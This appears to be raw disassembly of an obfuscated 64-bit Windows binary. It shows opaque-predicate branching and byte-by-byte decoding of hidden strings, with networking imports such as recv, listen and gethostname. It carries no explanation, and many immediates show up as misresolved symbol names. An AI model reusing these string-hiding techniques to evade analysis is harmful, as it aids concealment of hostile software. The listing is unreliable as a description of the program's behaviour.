movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x7c
jmp 0x14008765c
movabs rdx, 0xde5b73ebb01a4eb4
mov ecx, 0xa
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movabs rdx, 0x6409cd541663164
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xe60], cl
inc r9
dec rdi
inc rdi
jmp 0x140086eb2
movabs rcx, 0x871fc74e47a8fac4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x5c
dec rdi
inc rdi
jmp 0x140086eb2
movabs rdx, 0xdb81f0ff937050cc
mov ecx, gethostname
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movabs rcx, 0xb1de7323f59edb5c
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 0x3e
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r10b
mov byte [rbp + rdi + 0xe60], dl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140086eb2
movabs rcx, 0x2d0a97c4c28da8ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x74
movabs rcx, 0x334b349a03f3da50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x30
add cl, bl
mov byte [rbp + rdi + 0xe60], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xe60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140086eb2
movabs rdx, 0x816cc1760e54fef4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movzx eax, byte [rbp + rdi + 0xe60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140086eb2
movabs rcx, 0x14802b71d0b826ec
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x74
jmp 0x140086eae
movabs rdx, 0x68e255231c7f7cf4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x140086e93
lea r14, [rbp + 0x14927b0]
jmp 0x14008781f
lea r14, [rbp + 0xa57cac]
jmp 0x14008781f
lea r14, [rbp + 0xe60]
lea rdx, [0x1402260d0]
lea rcx, [rbp + 0x668]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x18]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a2a12
mov byte [rbp + 0xe88], 0x85
mov byte [rbp + 0xe89], Ordinal_79
mov byte [rbp + 0xe8a], WSACleanup
mov byte [rbp + 0xe8b], 0x99
mov byte [rbp + 0xe8c], 0x9a
mov byte [rbp + 0xe8d], __WSAFDIsSet
mov byte [rbp + 0xe8e], 0x83
mov byte [rbp + 0xe8f], __WSAFDIsSet
mov byte [rbp + 0xe90], Ordinal_41
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe91], xmm0
mov qword [rbp + 0xea1], rax
mov word [rbp + 0xea9], ax
movabs r15, 0x8e003f1a1e294bfe
movabs r13, 0x3201a1ace00527c2
movzx r11d, byte [rsp + 0x40]
movabs rdx, 0x86019baa633e2cb6
nop
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
movabs rcx, 0xd60003013e637d86
cmp rbx, 0x23
jae 0x140088705
movzx edi, byte [rbp + rbx + 0xe88]
mov r10, rdi
cmp r8, rbx
ja 0x1400886fc
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008793c
add rcx, rbx
mov rax, rdi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdi
add r11, rcx
add r11b, 0x56
jmp 0x140087983
je 0x140088662
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400885d4
lea rax, [r9 + 3]
cmp r8, rax
je 0x140088591
lea rax, [r9 + 4]
cmp r8, rax
je 0x140088550
lea rax, [r9 + 7]
cmp r8, rax
je 0x140088519
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400884b9
cmp r9, rbx
ja 0x1400886f3
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400879bc
lea rdx, [rbx + r15]
movzx eax, dl
and al, dil
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400879e3
lea rax, [r9 + 1]
cmp r8, rax
je 0x140088498
lea rax, [r9 + 4]
cmp r8, rax
je 0x140088452
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008840f
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400880b8
lea rax, [r9 + 8]
cmp r8, rax
je 0x140088094
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008805d
lea rax, [r9 + 6]
cmp r8, rax
je 0x140088024
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140088000
lea rax, [r9 + 5]
cmp r8, rax
je 0x140087fbf
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140087f7c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140087f58
lea rax, [r9 + 9]
cmp r8, rax
je 0x140087f34
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140087f0b
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400879f0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400886ca
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400886a6
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140087be8
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140087bbf
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140087ba4
lea rcx, [r9 + 0x5a]
cmp r8, rcx
jb 0x140087eaf
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140087e50
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140087e04
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140087dc6
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400879f0
mov r8, rcx
lea r9, [rcx + 1]
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x140087d9d
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x140087d79
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x140087d50
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x140087d0d
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x140087ccc
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x140087ca9
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x140087c70
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x140087c39
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x140087c25
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400879f0
lea r8, [r9 + 0x42]
lea r9, [r8 + 8]
jmp 0x1400879f0
lea rcx, [rbx + r13]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4e
jmp 0x1400879e3
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0x86019baa633e2cb6
jmp 0x140087983
movabs rdx, 0xda0195a7e67731aa
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0x86019baa633e2cb6
movabs rcx, 0xd60003013e637d86
jmp 0x14008790e
movabs rdx, 0x7001f8d0f14a5ff0
mov ecx, gethostname
jmp 0x1400884c8
movabs rcx, 0xc401f2ce748364e4
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x3c
inc r9
dec rbx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rdx, 0x1801eccbf7bc69d8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rdx, 0x6c01e6c97af56ecc
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140088391
movabs rcx, 0xc001e0c6fe2e73c0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x40
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rdx, 0x1401dac4816778b4
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rdx, 0x6801d4c204a07da8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400885f9
movabs rcx, 0xbc01cebf87d9829c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x44
jmp 0x14008862c
movabs rdx, 0x1001c8bd0b128790
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140088686
movabs rdx, 0xe201b9b6d32113f2
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
mov byte [rbp + rbx + 0xe88], r11b
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rcx, 0x3601b3b4565a18e6
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4a
cmp r9, 0x2a
jb 0x140087dea
movabs rcx, 0x4401327edba40364
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, dil
lea r11d, [rcx*2 - 0x78]
jmp 0x1400884dd
movabs rdx, 0x8a01adb1d9931dda
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
cmp r8, 0x10
jae 0x14008836c
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14008826e
movabs rcx, 0x8c00f665fbde34ec
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x74
jmp 0x140087e23
movabs rdx, 0xde01a7af5ccc22ce
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
lea rax, [r9 + r8]
cmp rax, 4
je 0x1400883e4
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x140088191
movabs rdx, 0xfe00b74bddb4e8ee
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x3f
jmp 0x140087e68
movabs rdx, 0x54017a9cb4f7c7f4
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140088686
movabs rcx, 0xa801749a3830cce8
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x58
jmp 0x14008862c
movabs rcx, 0xfc016e97bb69d1dc
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 4
jmp 0x1400885f9
movabs rdx, 0x500168953ea2d6d0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rcx, 0xa4016292c1dbdbc4
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x5c
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rcx, 0xf8015c904514e0b8
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 8
jmp 0x140088397
movabs rdx, 0x4c01568dc84de5ac
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rcx, 0xa001508b4b86eaa0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x60
inc r9
dec rbx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rcx, 0xf4014a88cebfef94
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0xc
jmp 0x1400884dd
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400880e1
movabs rdx, 0xd60003013e637d86
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
jmp 0x140087ec7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140088113
movabs rdx, 0x1c007e343c5297fc
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140088686
inc rax
cmp r8, rax
jne 0x140088144
movabs rdx, 0x74008a3935e08e14
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400885f9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140088170
movabs rdx, 0x78009c40ac357f38
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140088391
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140087ed3
movabs rdx, 0x7c00ae48228a705c
mov ecx, 0x3e
jmp 0x1400884c8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400881ae
movabs rdx, 0xaa00bd4e5a7be3fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1400884c8
inc rax
cmp r8, rax
jne 0x1400881ed
movabs rcx, 0x5600c350d742df06
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x2a
inc r9
dec rbx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140088238
movabs rcx, 0x5a00d5584d97d02a
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x26
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140087e74
movabs rdx, 0xb200e15d4725c642
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400885f9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400882a0
movabs rdx, 0x3800fc6878a52ff8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140088686
inc rax
cmp r8, rax
jne 0x1400882cc
movabs rcx, 0x9001086d72332610
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x70
jmp 0x1400885f9
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400882f9
movabs rcx, 0x94011a74e8881734
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x6c
jmp 0x140088397
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008833b
movabs rdx, 0x40012077654f1240
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140087e23
movabs rcx, 0x98012c7c5edd0858
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x68
jmp 0x1400884dd
movabs rdx, 0xf0013881586afe70
add rdx, rbx
movzx eax, dl
and al, dil
add al, al
movzx r11d, byte [rbp + rbx + 0xe88]
sub r11b, al
sub r11b, 0x10
add r11b, dl
add r11b, dil
movabs rcx, 0xc6013b8296ce7bf6
add rcx, rbx
movzx eax, cl
and al, dil
mov edx, reloc.WLDAP32.dll_Ordinal_35
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dil
mov byte [rbp + rbx + 0xe88], dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rcx, 0x9c013e83d531f97c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xe88]
lea r11d, [rdi + rcx]
sub r11b, 0x64
jmp 0x1400885f9
movabs rdx, 0x960063290ad32e46
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rdx, 0xea005d268e0c333a
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rcx, 0x3a00451c9af0470a
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x46
jmp 0x1400884dd
movabs rdx, 0xe2003917a16250f2
mov ecx, Ordinal_50
add rdx, rbx
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rcx, 0x1a0135801a0780ea
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x66
add cl, dil
mov byte [rbp + rbx + 0xe88], cl
inc r9
dec rbx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rcx, 0x36003315249b55e6
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4a
inc r9
dec rbx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rcx, 0x3200210dae4664c2
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4e
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rdx, 0x86001b0b317f69b6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
mov rdi, r10
movabs rcx, 0xda001508b4b86eaa
add rcx, rbx
and r10b, cl
mov eax, reloc.WLDAP32.dll_Ordinal_45
sub al, r10b
lea r11d, [rax + rax]
add r11b, dil
add r11b, cl
movabs rdx, 0x7201418513957702
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0xe
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xe88], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x4801448651f8f488
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rbp + rbx + 0xe88], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
jmp 0x140088686
movabs rdx, 0x82000903bb2a7892
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xe88]
add rax, r9
add rbx, rax
inc rbx
movabs rdx, 0x86019baa633e2cb6
jmp 0x1400878f2
movabs rcx, 0x2e018fa569b0369e
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x52
jmp 0x1400878ee
movabs rdx, 0x820189a2ece93b92
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400878d5
lea rcx, [rbp + 0x1586490]
jmp 0x14008870c
lea rcx, [rbp + 0xfbe216]
jmp 0x14008870c
lea rcx, [rbp + 0xe88]
mov dword [rbp + 0x1008], 0x64
mov dword [rbp + 0x1010], 0xffffff9c
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0x1008]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1010]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xeb0], 0x45
mov byte [rbp + 0xeb1], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xeb2], Ordinal_50
mov byte [rbp + 0xeb3], 5
mov byte [rbp + 0xeb4], 0x64
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xeb5], xmm0
mov qword [rbp + 0xec5], rax
mov dword [rbp + 0xecd], eax
mov word [rbp + 0xed1], ax
movabs rdi, 0xec47f0af7111a530
movabs rsi, 0x651920ba04ca20d0
movabs r15, 0xc21bce8242562c70
movabs r14, 0xe0e183b5801dc7f0
movabs r13, 0x5ca9e6b0fb716f10
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400894ed
movzx r11d, byte [rbp + rbx + 0xeb0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400894e4
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008882c
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x10
jmp 0x140088860
je 0x14008945f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400893c0
lea rax, [r9 + 2]
cmp r8, rax
je 0x140089384
lea rax, [r9 + 7]
cmp r8, rax
je 0x140089355
nop dword [rax]
cmp r9, rbx
ja 0x1400894db
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x14008888a
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x1400888c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140089301
inc rax
cmp r8, rax
je 0x1400892cf
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400892bb
lea rax, [r9 + 5]
cmp r8, rax
je 0x140089287
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140088f1e
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x140088ef5
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140088ecc
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140088ea2
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140088e7e
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140088e5a
lea rax, [r9 + 1]
cmp r8, rax
je 0x140088e26
lea rax, [r9 + 5]
cmp r8, rax
je 0x140088dfd
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140088dd4
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140088d9a
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400888d0
lea r8, [r9 + 4]
lea r9, [r8 + 0x42]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400894b7
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140089493
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140088ac1
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140088aa1
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140088a81
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140088d3e
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140088cdc
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140088c8a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140088c5b
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400888d0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140088c26
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140088bfd
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140088bd4
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140088b9b
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140088b7b
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140088b57
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140088b2d
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140088b00
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140088adc
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400888d0
lea r8, [r9 + 3]
lea r9, [r8 + 0x7a]
jmp 0x1400888d0
lea rdx, [rbx + rsi]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400888c0
lea rdx, [rbx + r14]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140088860
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
jmp 0x1400887f5
movabs rcx, 0x623f857b888d2980
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x140089320
movabs rcx, 0xde07e87703e0d0a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
inc r9
dec rbx
inc rbx
jmp 0x1400887e2
movabs rcx, 0x59d04b727f3477c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
dec rbx
inc rbx
jmp 0x1400887e2
movabs rcx, 0xd598ae6dfa881ee0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x140089226
movabs rcx, 0x5161116975dbc600
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x1400893a8
movabs rdx, 0xcd297464f12f6d20
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400887e2
movabs rdx, 0x48f1d7606c831440
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400893e1
movabs rdx, 0xc4ba3a5be7d6bb60
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
